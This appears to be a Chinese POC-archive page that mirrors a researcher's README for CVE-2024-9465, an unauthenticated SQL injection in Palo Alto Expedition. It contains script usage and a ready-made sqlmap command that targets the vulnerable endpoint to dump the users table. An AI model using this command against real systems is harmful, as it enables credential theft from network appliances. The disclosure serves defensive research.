POC详情： 658fbaee1ea12c4179a150ddd1342b50997241c8

来源
https://github.com/horizon3ai/CVE-2024-9465
关联漏洞
标题： Palo Alto Networks Expedition 安全漏洞 (CVE-2024-9465)
描述：Palo Alto Networks Expedition是美国Palo Alto Networks公司的一种有助于配置迁移、调优和丰富的工具。 Palo Alto Networks Expedition存在安全漏洞。攻击者利用该漏洞可以创建和读取任意文件。
描述
Proof of Concept Exploit for CVE-2024-9465
介绍
# CVE-2024-9465: Palo Alto Expedition Unauthenticated SQL Injection
Proof of concept to exploit CVE-2024-9465 on vulnerable devices.

## Blog Post
Root cause and indicators of compromise here:
[https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/](https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/)

## Usage
```
% python3 CVE-2024-9465.py -h
usage: CVE-2024-9465.py [-h] -u URL

options:
  -h, --help         show this help message and exit
  -u URL, --url URL  The URL of the target
```

## SQLMap Dump Table
```
python3 sqlmap.py -u "https://<ip_address>/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1" -p signatureid -T users --dump
```

## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
*  [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
*  [James Horseman](https://twitter.com/JamesHorseman2)
*  [Zach Hanley](https://twitter.com/hacks_zach)

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
文件快照

 [4.0K]  /data/pocs/658fbaee1ea12c4179a150ddd1342b50997241c8
├── [1.8K]  CVE-2024-9465.py
└── [1.3K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。